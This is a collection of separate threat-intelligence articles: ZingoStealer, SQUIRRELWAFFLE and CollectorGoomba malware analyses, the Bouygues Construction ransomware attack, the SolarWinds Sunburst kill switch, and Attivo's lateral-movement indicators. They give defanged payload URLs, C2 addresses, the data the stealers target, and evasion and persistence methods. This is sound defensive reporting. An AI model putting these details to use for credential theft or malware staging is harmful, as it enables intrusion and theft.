## How can Attivo Networks customers detect if they have been exploited and are attempting to move laterally?
Attivo Networks prevents and detects lateral movement and privilege escalation inside the network by specializing in protecting identities, credentials, and high-value assets across endpoints, Active Directory, and cloud infrastructure.
Below are five examples of Indicators of Compromise captured by Attivo solutions, related to documented adversary activity specific to the group:
1. The attacker used MITRE ATT&CK Techniques T1003.001, Dumping lsass.exe Process Memory to steal privileged credentials from Exchange Server using procdump64.exe.
2. Although researchers did not document this specific technique, adversaries widely use MITRE ATT&CK Techniques T1003.001, Dumping lsass.exe Process Memory to get credentials using Mimikatz.exe.
3. The attackers created Local Admin accounts for persistence. The Attivo EDN ThreatPath module reports when attackers create new Local Admins, Privileged Domain accounts, or Delegated Admin accounts (MITRE ATT&CK Techniques T1136). The EDN ADSecure module prevents adversaries from exploiting domain privileged and local admin accounts by preventing access to them.
4. The group used PSExec against a Remote System (MITRE ATT&CK Techniques T1021).
5. Attackers also added Exchange PowerShell snap-ins to export Mailbox Data (MITRE ATT&CK Techniques T1059).
## Conclusion
This incident is another example of how sophisticated attackers can combine multiple attack techniques to exploit and move laterally inside the enterprise. Prevention technologies and patching are critical, but they are not enough, as the attackers have demonstrated. Customers need solutions that will detect adversaries early as they move inside the network to access sensitive or essential data, and Attivo offerings do just that.
|
# Cyber attaque à l’encontre des serveurs de Bouygues Construction
**Posted On:** 30 Jan 2020
**By:** Damien Bancal
**Comments:** 7
**Tag:** Bouygues construction, ransomware
L’informatique de la société Bouygues construction fermée. Une cyber attaque impacte l’entreprise. Ambiance électrique dans les locaux de Bouygues construction à Guyancourt, en région parisienne. Le siège social (Bouygues challenger) est en ébullition. Une cyber attaque a touché l’entreprise ce jeudi. Tout serait parti de machines basées en Amérique du Nord. Selon les informations de ZATAZ, les premières machines ont été infectées du côté de Toronto et Vancouver. L’attaque, selon d’autres sources, serait partie d’Asie.
L’attaque semble avoir débuté via un « vers » ransomware. Cela a débuté sur les serveurs au Canada, puis s'est propagé aux serveurs mondiaux de Bouygues construction. Un cyber problème d’envergure. L’ensemble des serveurs de la société ont été mis à l’arrêt. Deux éditeurs de logiciels américains ont été appelés à la rescousse, McAfee et Microsoft. En contactant différents groupes pirates, j’ai pu retrouver les malveillants. Le groupe Maze. « Nous essayons d’établir le contact avec eux en ce moment. » indique-t-il !
Le service communication m’a confirmé le problème tout en étant rassurant sur le bon déroulement des chantiers et le fonctionnement normal de l’entreprise. « Une crise virale a été détectée sur le réseau informatique de Bouygues Construction le 30 janvier. L’analyse des causes et des impacts est en cours et les actions de sécurisation sont mises en place pour l’interne, pour nos clients et pour nos partenaires. L’activité de l’entreprise se poursuit. »
**Mise à jour 19h :** L’informatique ne devrait pas reprendre son cours normal avant un mois, un mois et demi selon des sources internes.
**Mise à jour 22h :** Les pirates m’ont expliqué réclamer 10 millions d’euros ! « If they don’t pay the full dump from their servers will be released to the public. and then they can be sure they will be ruined in lawsuits. » Ils auraient volé pour 200 Go de données. Des preuves m’ont été communiquées. Les pirates réclament… 10 millions d’euros. Cette attaque s’est déroulée au moment de la tenue du Forum International de la Cybersécurité 2020, à Lille (Nord de la France). Un étonnant parallèle ! Ils vont me préciser ne pas connaître le FIC avec leurs… mots : « What is FIC? No, we did not know about this little girls hobby meeting. »
## Au sujet de l'auteur
Damien Bancal - Fondateur de ZATAZ.COM / DataSecurityBreach.fr. Travaille sur les sujets High-tech/Cybercriminalité/Cybersécurité depuis 1989. Gendarme commandant réserviste Cyberdéfense Hauts-de-France. Ce blog est personnel.
|
# Threat Spotlight: "Haskers Gang" Introduces New ZingoStealer
**By Edmund Brumaghin**
**April 14, 2022**
Update (04/14/22): Following the initial publication of this blog, we observed a new post in the Haskers Gang Telegram channel announcing that ownership of the ZingoStealer project is being transferred to a new threat actor. We also observed the malware author offering to sell the source code for ZingoStealer for $500 (negotiable).
Cisco Talos recently observed a new information stealer, called "ZingoStealer," that has been released for free by a threat actor known as "Haskers Gang." This information stealer, first introduced to the wild in March 2022, is currently undergoing active development, and multiple releases of new versions have been observed recently. The malware leverages Telegram chat features to facilitate malware executable build delivery and data exfiltration. The malware can exfiltrate sensitive information such as credentials, steal cryptocurrency wallet information, and mine cryptocurrency on victims' systems. While this stealer is freely available and can be used by multiple threat actors, we have observed a focus on infecting Russian-speaking victims under the guise of game cheats, key generators, and pirated software, which likely indicates a current focus on home users. The threat actor "Haskers Gang" uses collaborative platforms such as Telegram and Discord to distribute updates, share tooling, and otherwise coordinate activities. In many cases, ZingoStealer also delivers additional malware such as RedLine Stealer and the XMRig cryptocurrency mining malware to victims.
## What is "Haskers Gang?"
Haskers Gang is a crimeware-related threat actor group active since at least January 2020, consisting of a small number of original members. Their activity ranges from developing methods for stealing confidential information to cryptocurrency mining, remote access, and development of so-called "crypters" to avoid detection of malware by security and antivirus software. The group operates a Telegram channel to collaborate with other members, collect logs from systems infected with ZingoStealer, and publish announcements related to ongoing development efforts. The group also operates a similar collaborative Discord server where new tooling is often shared to enable members to launch more successful intrusions, improve antivirus evasion capabilities, and otherwise disseminate tactics, techniques, and procedures. These communities consist of thousands of members and demonstrate that financially motivated cybercrime is increasingly attractive to many people around the world. The core members of this crimeware group are likely located in Eastern Europe, and many of the announcements and other communications are written in Russian.
## Introduction to ZingoStealer
In early March 2022, while monitoring the communications between members of Haskers Gang, we observed the announcement of the availability of a new information stealer called "ZingoStealer." This new malware was advertised as being freely available to members of the Haskers Gang Telegram community. Since this announcement, we have observed a steady volume of ZingoStealer samples being uploaded to various malware repositories. The malware is offered in two "tiers" of options, with both versions of the malware precompiled and delivered via a Telegram channel.
For 300 Rubles (~$3 USD), Haskers Gang also offers a pre-built option that leverages their crypter, which they refer to as "ExoCrypt." This allows affiliates to take advantage of antivirus evasion without requiring them to use a third-party builder to package the malware prior to distributing it. During our analysis of ZingoStealer, we observed the malware author incorporating the XMRig cryptocurrency mining software into the stealer to further monetize their efforts by using systems infected by affiliates to generate Monero for the malware author. While researching ZingoStealer, we observed additional functionality, cryptocurrency theft support, and other features added frequently, indicating that this threat will likely continue to evolve and mature over time.
## Distribution campaigns
As this stealer is being made available for free to members of the Haskers Gang community, it is likely being leveraged by a variety of otherwise unrelated threat actors using various techniques to infect potential victims. We have observed a steady volume of new samples in the wild and expect that this trend will continue. In many cases, ZingoStealer is currently being distributed under the guise of game cheats, cracks, and code generators. In one example, the malware was being distributed under the guise of a game modification utility for "Counter-Strike: Global Offensive." The threat actor posted a YouTube video demonstrating the use of a tool purported to mod the popular video game. The video description contained a link to the tool hosted on Google Drive.
The hyperlink points to a password-protected RAR archive stored in Google Drive that contains an executable called "loader.exe." This executable is responsible for infecting the system with ZingoStealer. The video itself was posted well before the initial announcement of the availability of ZingoStealer; however, the modified date for the content hosted on Google Drive was March 22, 2022. This indicates that the hyperlinks in the video descriptions may be updated over time at the attacker's discretion. In many cases, the ZingoStealer executable was observed being hosted on the Discord CDN, following naming conventions similar to the following examples:
- hXXps://cdn[.]discordapp[.]com/attachments/960542241498210334/960544850158166027/2_5357301132811048430.exe
- hxxps://cdn[.]discordapp[.]com/attachments/960542241498210334/960542756156100708/2_5357488762752341390.exe
- hxxps://cdn[.]discordapp[.]com/attachments/941227101351215104/960556192931938304/loader_cheat_for_roblox.exe
- hxxps://cdn[.]discordapp[.]com/attachments/810482847340429352/960156304029151302/Ginzo.exe
This may indicate threat actors are also distributing the malware within gaming-related Discord servers under the guise of video game cheats.
## Other Haskers Gang campaigns
In another example, we observed a threat actor posting a YouTube video purporting to be a way to obtain free plugins for Adobe applications. The video description contained a link to a supposed tool which used the Bitly URL-shortening service. When clicked, the victim is redirected to a password-protected ZIP archive containing a malicious Windows executable hosted on the Mega[.]nz file-sharing website. The executable is packed and drops the RedLine information stealer on victims' systems. The threat actor behind this distribution campaign also invited members of the Haskers Gang Telegram channel to post positive comments in English to add legitimacy to the video and associated hyperlinks. This is a secondary payload we've frequently observed coinciding with ZingoStealer infections. In many cases, ZingoStealer retrieves a list of URLs hosted on the C2 server as "ginzolist.txt." The malware then attempts to retrieve the payloads hosted at these URLs, one of the most common being RedLine. We've also frequently observed XMRig being delivered to systems infected with ZingoStealer.
## ZingoStealer execution
The stealer is an obfuscated .NET executable. When executed on victim systems, it attempts to retrieve various .NET dependencies that provide core functionality used by the malware from an attacker-controlled server. The dependencies retrieved by the malware include:
- BouncyCastle.Crypto
- DotNetZip
- NewtonSoft.Json
- SQLite.Interop (For both x86 and x64)
- System.Data.SQLite
The retrieved DLL files are then stored in the directory from which the malware is currently running. In the case of SQLite.Interop.dll, the malware retrieves the x86 and x64 versions and creates a subdirectory for each architecture before storing the retrieved binaries. The stealer then creates a directory structure which is used to collect and save sensitive information that is later exfiltrated to the attacker. The location for this directory structure is:
`C:\Users\<USERNAME>\AppData\Local\GinzoFolder`
Within this directory, the malware creates subfolders to store various types of information that is collected by the malware. These subdirectories include:
- Browsers
- Wallets
- Desktop Files
ZingoStealer then begins the system enumeration and data collection process, starting by taking a screenshot of the victim's system and storing it as a PNG called "Screenshot.PNG" within the directory that was created earlier. Next, the malware begins to identify and collect sensitive information stored by web browsers installed on the system. This includes saved local data, cookies, login data, etc. It supports the major web browsers, including:
- Google Chrome
- Mozilla Firefox
- Opera
- Opera GX
Discovered information is saved within the directory structure we described previously. The malware also attempts to enumerate environmental and system information. This data is saved within a text file called "system.txt," which is also stored within the data staging directory and includes:
- IP address
- Computer name
- Username
- OS version
- Localization information
- Processor information
- System memory
- Screen resolution
- Start time
Next, ZingoStealer attempts to collect sensitive information, including user account tokens for collaboration software that may be installed, including Discord and Telegram. As mentioned in our previous research related to abuse of collaboration platforms, this information can be used to impersonate users, obtain victim account information, or otherwise abuse these platforms and their users. ZingoStealer also attempts to access information related to Chrome extensions that may be present within the victim's web browser. This information is gathered from the following location:
`C:\Users\<USERNAME>\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\<CHROME_EXTENSION_ID>`
The malware specifically searches for extension data associated with the following cryptocurrency wallet extensions:
- TronLink
- Nifty Wallet
- MetaMask
- MathWallet
- Coinbase Wallet
- Binance Wallet
- Brave Wallet
- Guarda
- EQUAL Wallet
- BitApp Wallet
- iWallet
- Wombat - Gaming Wallet
ZingoStealer then searches `%APPDATA%\Local` and `%APPDATA%\Roaming` for cryptocurrency wallet data associated with the following cryptocurrencies:
- Zcash
- Armory
- Bytecoin
- Jaxx Liberty
- Exodus
- Ethereum
- Electrum
- Atomic
- Guarda
- Coinomi
It also queries the registry (HKCU\SOFTWARE\<VALUE>) to identify settings associated with additional cryptocurrency wallets, including:
- Bitcoin
- Dash
- Litecoin
Any files or directories present within the infected user's Desktop folder will also be copied to the staging directory. Any data successfully collected throughout this process will be stored in the appropriate subdirectory within the data staging directory. Once the collection process has been completed, DotNetZip creates an archive containing all the information, which is then exfiltrated to an attacker-controlled server. The logs are then processed and delivered to the Haskers Gang Telegram channel so ZingoStealer users can access them.
The malware is also used as a loader for other malware payloads. During the execution of the ZingoStealer payload, it retrieves the geolocation of the victim's system using freegeoip[.]app. It then makes an HTTP GET request to the C2 server for a resource called "cis.txt." This could be a reference to the Commonwealth of Independent States (CIS). Many financially motivated cybercriminals located in CIS countries actively avoid infecting systems in these countries to avoid attracting local law enforcement attention. Similar behavior is often observed, as ransomware operators often actively avoid targeting organizations located in these countries. In one of the initial announcements related to ZingoStealer, the malware author mentioned that, while CIS filtering is available, it is not currently in place, but it may be activated in the future based on local law enforcement attention. Following the geolocation check, the malware requests a list of URLs that it uses to retrieve and execute additional malware payloads, at the discretion of the attacker. This list of URLs is saved into a text file called "ginzolist.txt" that is saved within the `%APPDATA%\Local` directory on the victim system. The malware then retrieves the additional malware payloads hosted at these URLs and saves them within the `%APPDATA%\Local` directory.
In this particular case, the binary "sweet.exe" was associated with RedLine Stealer and saved at `C:\Users\<USERNAME>\AppData\Local\536075.exe`, while "antiwm.exe" was associated with an injector for the XMRig cryptocurrency miner and saved at `C:\Users\<USERNAME>\AppData\Local\209625.exe`. The retrieved binary payloads then continue the infection process.
## ExoCrypt crypter
As previously mentioned, the malware author responsible for ZingoStealer also offers a crypter service that allows ZingoStealer users to obtain encrypted ZingoStealer builds that assist with evading endpoint detection on systems. We identified a binary loader for ZingoStealer that may be related to the use of this crypter. The functionality of the code is straightforward: It is responsible for implementing a randomized sleep interval before decrypting the contents of the ZingoStealer binary and saving the decrypted contents as `%TEMP%\ChromeHandler.exe`. It then executes the ZingoStealer binary, initiating the normal infection process previously described.
To decrypt the ZingoStealer binary, it retrieves the data from a resource present within the executable called "zvezdy" and stores it within an array. It then iterates through the array and performs a modulo operation on each of the values. Based on the results of the operation, each byte is converted into the appropriate value and stored within a second array. Finally, the second array is passed back to the Main() function, saved to disk as ZingoStealer, and executed to continue the infection process.
## RedLine Stealer
One of the secondary payloads delivered and executed by ZingoStealer is RedLine Stealer, a well-known information stealer that has been analyzed extensively over the past couple of years. It features significantly more support for retrieving data from various applications, browsers, cryptocurrency wallets, and extensions. Given that RedLine Stealer seems to provide more capabilities, why would an adversary use ZingoStealer to deliver RedLine Stealer? Besides ZingoStealer, the malware author also offers additional services that they advertise within the Haskers Gang community. One service is a "log access service" used to monetize information stealer logs obtained from previously infected systems. Customers can purchase access to the log data generated from various stealers operated by the attacker, which provides them sensitive account information that can be further leveraged for a variety of purposes including initial access, fraud, etc. The malware author behind ZingoStealer assures ZingoStealer users that they do not access log data generated by ZingoStealer. However, by effectively backdooring ZingoStealer and using it to deliver RedLine Stealer, they can still take advantage of the infections achieved by ZingoStealer users. This allows them to let ZingoStealer users perform the heavy lifting in terms of malware distribution, antivirus evasion, and achieving successful infections, while they passively collect more comprehensive logs from the systems. This also allows them to monetize the infections of all ZingoStealer users simultaneously, maximizing profitability.
The RedLine Stealer configuration extracted from analyzed samples contained the following parameters:
```json
{"ip": "193[.]38[.]235[.]228:45347", "xor_key": "Zag", "id": "keepye"}
```
The value "keepye" stored within the ID field of the configuration matches the username associated with an individual suspected to be behind the development of ZingoStealer.
## ZingoMiner (XMRig)
In addition to RedLine Stealer, ZingoStealer also delivers the XMRig cryptocurrency mining malware to victims. This is another way the malware author behind ZingoStealer is attempting to monetize the operations of ZingoStealer users. This was confirmed when the author of ZingoStealer published an announcement within the Haskers Gang Telegram group informing the community that they had added XMRig to a new version of ZingoStealer as previously described. As mentioned, the main binary payload associated with the mining malware is retrieved and executed by ZingoStealer during the initial infection process. It is then executed using conhost.exe.
Once executed, it invokes PowerShell using the EncodedCommand option, specifying Base64-encoded PowerShell commands to execute. This PowerShell is responsible for creating two exclusions in the Windows Defender configuration on the system. It also attempts to achieve persistence for the miner, ensuring that it is executed following system reboots. This is accomplished by creating a new scheduled task. The malware copies itself from its initial starting location to match the path defined in the scheduled task and then executes the newly created executable. This executable is also responsible for creating and executing a binary located at:
`C:\Users\<USERNAME>\AppData\Roaming\Windows\Telemetry\sihost64.exe`
It also creates a file at the following location:
`C:\Users\<USERNAME>\AppData\Roaming\Windows\Libs\WR64.sys`
Finally, it invokes explorer.exe with specific parameters, injecting XMRig into the explorer.exe process and beginning the cryptocurrency mining operations. The XMRig client is launched with specific command line parameters. Infected systems periodically send beacon data to the API specified when XMRig was launched. Investigating the pool address specified by the malware shows that the hash rate has continued to increase as more systems are infected with ZingoStealer; however, it has not proven to be very lucrative thus far.
## Conclusion
ZingoStealer is a relatively new information stealer being offered for free to members of the Haskers Gang Telegram group. It features the ability to steal sensitive information from victims and can download additional malware to infected systems. In many cases, this includes the RedLine Stealer and an XMRig-based cryptocurrency mining malware that is internally referred to as "ZingoMiner." While the malware is new, Cisco Talos has observed that it is undergoing consistent development and improvement and that the volume of new samples being observed in the wild continues to increase as more threat actors attempt to leverage it for nefarious purposes. In many of the distribution campaigns we have observed associated with ZingoStealer, threat actors appear to be targeting home users and distributing their malware under the guise of video game cracks, cheats, and other similar content. Users should be aware of the threats posed by these types of applications and should ensure that they are only executing applications distributed via legitimate mechanisms.
|
# SQUIRRELWAFFLE Leverages Malspam to Deliver Qakbot, Cobalt Strike
**By Edmund Brumaghin, Mariano Graziano, and Nick Mavis.**
## Executive Summary
Recently, a new threat, referred to as "SQUIRRELWAFFLE," is being spread more widely via spam campaigns, infecting systems with a new malware loader. This malware family has been spread with increasing regularity and could become the next big player in the spam space.
SQUIRRELWAFFLE provides threat actors with an initial foothold onto systems and their network environments that can then be used to facilitate further compromise or additional malware infections depending on how adversaries choose to attempt to monetize their access. In many cases, these infections are also being used to deliver and infect systems with other malware like Qakbot and the penetration-testing tool Cobalt Strike. Organizations should be aware of this threat, as it will likely persist across the threat landscape for the foreseeable future.
## Email Campaigns
The email threat landscape is constantly changing as new threats emerge or existing threats evolve over time. Over the past few years, Emotet has been one of the primary threats being delivered via malicious spam campaigns. Following law enforcement disruption of the Emotet botnets, we've been waiting for another threat to fill the void left by Emotet's exit.
Beginning in mid-September 2021, we observed malspam campaigns being used to deliver malicious Microsoft Office documents that function as the initial stage of the infection process and are used to infect systems with SQUIRRELWAFFLE. Similar to previous threats like Emotet, these campaigns appear to be leveraging stolen email threads, as the emails themselves appear to be replies to existing email threads. These emails typically contain hyperlinks to malicious ZIP archives being hosted on attacker-controlled web servers.
The language targeted by the reply messages typically matches the language used in the original email thread, demonstrating that there is some localization taking place dynamically. While the majority of the emails were written in English, the use of other languages across these campaigns highlights that this threat is not limited to a specific geographic region.
Across the malicious email campaigns we have observed being used to deliver SQUIRRELWAFFLE, the top five languages used are as follows:
Consistent with other threats also leveraging stolen email threads, we observed some inconsistencies in how the attacker chooses which email chains to hijack. Since the emergence of SQUIRRELWAFFLE, we have observed steady malicious email campaign activity associated with this threat.
While the volume associated with these campaigns is not yet reaching the same level seen previously with threats like Emotet, it appears to be fairly consistent and may increase over time as the adversaries infect more users and increase the size of their botnet. The campaigns themselves feature several similar characteristics to the campaigns previously seen associated with established threats like Emotet.
In all of these cases, the emails are designed to trick the potential victim into accessing the included hyperlink to download a malicious ZIP archive. Malicious Microsoft Office files are inside the archives, which initiate the infection process.
## Infection Process
When the victim accesses the hyperlink contained in the initial malicious spam message, they are sent a ZIP archive containing a malicious Office document. While these documents have varied across campaigns, in all cases, they are either Microsoft Word documents or Microsoft Excel spreadsheets. These documents contain the malicious code responsible for retrieving and executing the next stage component, in this case, the SQUIRRELWAFFLE payload.
Across all of the malspam campaigns observed, the distribution of DOC versus XLS was roughly 50/50. In all of the campaigns observed, the distribution URLs that are used to host the malicious ZIP archives contain Latin words and follow a URL structure similar to the following example: `abogados-en-medellin[.]com/odit-error/assumenda[.]zip`.
Inside of the ZIP archives, the malicious Office documents often follow a naming convention similar to the examples below:
- chart-1187900052.xls
- diagram-127.doc
- diagram_1017101088.xls
- specification-1001661454.xls
Since these campaigns began, we observed several variations in the way the documents function, so will describe two of the most common infection chains we observed in September. This threat is actively evolving, and during our research into SQUIRRELWAFFLE, we observed the distribution campaigns' shift to almost exclusively using Microsoft Excel spreadsheets for this purpose.
### Malicious Word Documents
The initial malicious Office document format used across many of the early email campaigns was a Microsoft Word document. In this case, it was made to appear as if it was associated with DocuSign, a popular document sharing and signing platform that is often used for a variety of purposes related to official transactions.
In this particular case, the document contains malicious macros that initiate the SQUIRRELWAFFLE infection process if enabled by the victim. These macros are `AutoOpen()` and reference a macro function that contains the majority of the malicious code.
As can be observed in the previous code, the macros leverage string reversal as a way to slightly obfuscate the contents of the code. This macro is responsible for writing a VBS script to `%PROGRAMDATA%` and then executing it. The contents of the malicious script can be seen in the following screenshot.
This script is responsible for the retrieval of the SQUIRRELWAFFLE payload itself from one of the five hardcoded URLs present in the script. In this case, SQUIRRELWAFFLE is delivered to the victim's system as a malicious DLL that is then executed using `rundll32.exe`.
### Malicious Excel Spreadsheets
Many of the campaigns were observed using malicious Excel spreadsheets rather than Word documents. These spreadsheets contain malicious Excel4 macros that are responsible for retrieving and executing the SQUIRRELWAFFLE payload.
Similar to what was observed with the Word document lures, these macros contain three hardcoded URLs that host the DLL associated with SQUIRRELWAFFLE. Once retrieved, the DLL is executed via `ShellExecuteA` and `regsvr32.exe`, thus infecting the system. The ZIP archives and associated maldocs are rotated across emails, resulting in large quantities of unique samples. However, the SQUIRRELWAFFLE distribution URLs appear to be fairly common across samples for a given email campaign.
## Campaign Timeline and Variations
We believe the earliest files used in these campaigns were submitted to public malware repositories on Sept. 10, 2021. The campaign volume began to ramp up on Sept. 13, 2021, and has been characterized by daily spam runs observed since then. In analyzing these campaigns, we observed some interesting characteristics associated with the infection chain.
The URL structure of the SQUIRRELWAFFLE distribution servers appears somewhat tied to the daily campaigns and rotates every few days. This rotation is also reflected in the maldoc macros themselves, with the macro function names and hashes rotating at the same time.
These characteristics confirm that these documents are likely being crafted using an automated builder. In more recent campaigns, the Microsoft Excel spreadsheets were crafted to make static analysis with tools like XLMDeobfuscator less effective.
## Distribution Infrastructure
These malware distribution campaigns appear to be taking advantage of previously compromised web servers, primarily running versions of the WordPress content management system (CMS). Across the distribution servers we analyzed prior to host/domain suspension, the most prevalent version was WordPress 5.8.1.
In one case, we also identified a SQL dump related to an AZORult panel present on the same host being used as a C2 server by SQUIRRELWAFFLE. As is often the case with vulnerable servers exposed to the internet, it is unclear whether this panel was being administered by the same threat actor or if the server had simply been compromised by multiple unrelated entities.
One of the distribution servers also appeared to have had ANTIBOT deployed by adversaries on Sept. 8, 2021, shortly before the SQUIRRELWAFFLE distribution campaigns initially launched that made use of this server.
ANTIBOT is a set of scripts commonly used as a component of phishing kits and can help actors evade analysis. This popular add-on will block access to the contents of their web servers if the HTTP/HTTPS requests originate from an IP address that is not determined to be a potential victim but is instead associated with automated analysis platforms, security research organizations, or other locations that attackers may want to avoid.
Combined with the IP blocklist present across many SQUIRRELWAFFLE DLLs, this demonstrates an effort to make the infrastructure more resilient and difficult to analyze. By limiting the ability for systems to retrieve malicious components, adversaries may more effectively evade large-scale automated analysis. Over time, the distribution infrastructure has become significantly more aggressive at restricting access to the malicious components and is employing techniques, like geographic-based filtering, to prevent analysis and tracking.
## SQUIRRELWAFFLE Loader
The SQUIRRELWAFFLE payload that is dropped on infected systems is a PE DLL that is executed using either `rundll32.exe` or `regsvr32.exe` depending on the maldoc used to initiate the infection process.
Executing the DLL directly without specifying the required parameter will likely not result in successful execution of the payload and may allow it to evade automated dynamic analysis platforms. The DLLs primarily function as a malware loader, enabling the infections to be used to deploy additional malware. SQUIRRELWAFFLE infections have been observed to coincide with Qakbot and Cobalt Strike installations following the initial compromise of the endpoint.
The operation of the DLL is fairly straightforward. The most interesting functionality is used to encode and decode information to facilitate communications between the victim system and the C2 infrastructure.
## Command and Control (C2)
The malware attempts to communicate with a C2 over HTTP POST requests containing obfuscated data. The data present in these communications has been obfuscated using XOR and then Base64-encoded. The URL used by the victim to POST data to the C2 server consists of a random one- to 28-character alphanumeric string, followed by the IP address of the victim's system.
The body of the HTTP POST request contains information about the victim system. The data sent to the C2 includes:
- %APPDATA% configuration.
- The hostname of the system.
- The username of the victim.
- The Workstation configuration of the system.
The C2 server will respond to these requests with a status code as well as the previously sent beacon information. This C2 channel is also used to deliver secondary payloads at the discretion of the attacker.
## Conclusion
A new malware loader named "SQUIRRELWAFFLE" has recently emerged in the threat landscape. This threat is primarily delivered via malicious spam email campaigns and features several interesting characteristics that organizations should be aware of. These infections are also used to facilitate the delivery of additional malware such as Qakbot and Cobalt Strike, two of the most common threats regularly observed targeting organizations around the world. Organizations should continue to employ comprehensive defense-in-depth security controls to ensure that they can prevent, detect, or respond to SQUIRRELWAFFLE campaigns that may be encountered in their environments.
|
# FireEye, Microsoft Create Kill Switch for SolarWinds Backdoor
Microsoft, FireEye, and GoDaddy have collaborated to create a kill switch for the SolarWinds Sunburst backdoor that forces the malware to terminate itself. This past weekend it was revealed that Russian state-sponsored hackers breached SolarWinds and added malicious code to a Windows DLL file used by their Orion IT monitoring platform. This malicious DLL is a backdoor tracked as Solarigate (Microsoft) or Sunburst (FireEye) and was distributed via SolarWinds' auto-update mechanism to approximately 18,000 customers, including the U.S. Treasury, US NTIA, and the U.S. Department of Homeland Security.
As part of a coordinated disclosure with Microsoft and SolarWinds, FireEye released a report on Sunday with an analysis of the supply chain attack and how the Sunburst backdoor operates. This research revealed that the Sunburst backdoor would connect to a command and control (C2) server at a subdomain of avsvmcloud.com to receive 'jobs', or commands to execute. The FireEye report also revealed that if the C2 server resolved to an IP address in one of the following ranges, the malware would terminate and update a setting, so the malware never executes again:
- 10.0.0.0/8
- 172.16.0.0/12
- 192.168.0.0/16
- 224.0.0.0/3
- fc00:: - fe00::
- fec0:: - ffc0::
- ff00:: - ff00::
- 20.140.0.0/15
- 96.31.172.0/24
- 131.228.12.0/22
- 144.86.226.0/24
Yesterday, the command and control server domain, avsvmcloud.com, was seized and now resolves to the IP address 20.140.0.1, which belongs to Microsoft. This domain takeover allows Microsoft and its partners to sinkhole the malicious traffic and analyze it to identify further victims.
Today, Brian Krebs was the first to reveal that FireEye, Microsoft, and GoDaddy collaborated to create a kill switch for the Sunburst malware. In a statement also sent to BleepingComputer, FireEye explains that they used the avsvmcloud.com takeover to create a kill switch that unloads the Sunburst malware on infected machines.
"SUNBURST is the malware that was distributed through SolarWinds software. As part of FireEye's analysis of SUNBURST, we identified a killswitch that would prevent SUNBURST from continuing to operate."
"Depending on the IP address returned when the malware resolves avsvmcloud.com, under certain conditions, the malware would terminate itself and prevent further execution. FireEye collaborated with GoDaddy and Microsoft to deactivate SUNBURST infections."
"This killswitch will affect new and previous SUNBURST infections by disabling SUNBURST deployments that are still beaconing to avsvmcloud.com," FireEye told BleepingComputer in a statement.
While FireEye does not provide specific details regarding the kill switch, we can see how the kill switch works from their previous analysis. As part of this collaboration, GoDaddy has created a wildcard DNS resolution so that any subdomain of avsvmcloud.com resolves to 20.140.0.1. Due to this wildcard DNS resolution, when an infected machine tries to connect to its command and control server under the avsvmcloud.com domain, the subdomain will always resolve to the 20.140.0.1 IP address. As this IP address is part of the 20.140.0.0/15 range that is on the malware block list, it will cause the malware to terminate and prevent itself from executing again.
Microsoft IP address ranges were likely added to the block list to prevent their security operations from detecting the malicious activity. FireEye warned that this kill switch would only terminate the original Sunburst infection. Organizations that were already breached by the threat actors likely have different methods to access the victim's network.
"However, in the intrusions FireEye has seen, this actor moved quickly to establish additional persistent mechanisms to access victim networks beyond the SUNBURST backdoor. This killswitch will not remove the actor from victim networks where they have established other backdoors. However, it will make it more difficult for the actor to leverage the previously distributed versions of SUNBURST," FireEye warned about the kill switch.
It is not known if the victims identified via the sinkhole/kill switch are being notified that they are compromised. BleepingComputer has contacted Microsoft with questions related to the kill switch but was told they had nothing to share at this time.
|
# Threat Bulletin: Cutting-off the Command-and-Control Infrastructure of CollectorGoomba
## A Primer on Spyware-as-a-Service
The rise in spyware-as-a-service allows cyber-criminals to choose a specialty, whether improving spyware, infecting users, or maximizing the profit derived from stolen information. The business model for spyware-as-a-service starts with an individual or team developing the initial spyware and standing up any necessary infrastructure that the malware relies upon. The development team can then sell its software to other, less tech-savvy cyber-criminals. Spyware-as-a-service is economic specialization and is becoming more common in the cyber-criminal community – the malicious version of software as a service in the cloud, but instead of accounting or timekeeping, something much more nefarious.
Network-based defenses are deployed by organizations to detect and prevent spyware communications. Some of these network defenses include network logging and intrusion prevention systems (IPS). The rapid evolution of malware can make portions of these defenses less effective. By detonating malware in VMRay Analyzer, defenders can dissect new malware samples and learn how to modify their defenses to keep their network protected. In this blog post, we will look at a spyware sample sold to criminal attackers. By analyzing the data dropped during execution of the spyware sample, the VMRay Labs Team was able to identify the name that the spyware calls itself, “COLLECTOR Project,” and find forums where this malicious spyware platform is being sold to criminals.
## Data Stolen
During execution, CollectorGoomba (referred to as Collector Project and formerly Memory Project in criminal forums) steals sensitive information from the infected computer. The spyware reads sensitive data from the user’s web browser including their web cookies, personal information, and even login details (frequently stored in the web browser’s autofill feature). Specifically, the spyware targets the data files of Google Chrome, Firefox, and Internet Explorer.
Other applications that have their authentication details targeted by this sample include:
- Authy (2FA desktop app)
- NordVPN
- FileZilla
- Steam
- Discord
- Pidgin
Finally, the sample takes a screenshot of the victim’s desktop and adds all of the stolen information to a zip archive. The theft of login credentials means that an attacker will be able to log in as the infected user – potentially using the information to further infiltrate an organization’s network. Loss of personal information can be devastating for a user and organization as it potentially leads to identity theft, extortion, banking fraud, stalking, and many other disastrous consequences. As part of the spyware-as-a-service model, criminals commonly trade personal details of victims, meaning that the attacker can sell the information to a criminal broker who specializes in exploiting the stolen information.
## Password Security Side-Note
Web browser autofill features can be very convenient for users; however, it is also dangerous to use because login credentials will be saved in clear text on the user’s computer. Many password managers can be installed as browser plugins and will enable users to log in with similar ease. The benefit of proper password managers is that they will encrypt the information using a master password. Unlike a web browser’s autofill feature, even if spyware is able to steal the files that contain login credentials, an attacker will be unable to read the sensitive data.
## Network Traffic
VMRay automates the monitoring of network traffic with the in-depth network summary available in the VMRay Analyzer Report. CollectorGoomba makes use of high-level networking features to retrieve a text file that contains the domain of the collection server. After the target domain is acquired, the spyware attempts to upload the stolen data to the spyware-as-a-service collection server. The sample uses the API functions included in Wininet.dll, a Windows library of high-level network communication functions. These functions are easy to use and make the programming of this spyware-as-a-service sample much simpler for the developer. The first network traffic that the spyware will generate is from the function InternetReadFile(), which attempts to read a text file hosted in a publicly available GitHub repository.
The generated network traffic will first appear in the packet capture as a DNS query for raw.githubusercontent.com – a legitimate subdomain hosted by GitHub that enables the direct downloading of files. After receiving the IP address for this GitHub server, the infected computer then reaches out and downloads the contents of the text file nyun.txt from raw.githubusercontent.com/fkarelli/fjusbftnf/nyun.txt. The received text file contains the details of the spyware-as-a-service domain where the sample is instructed to upload the victim’s stolen information.
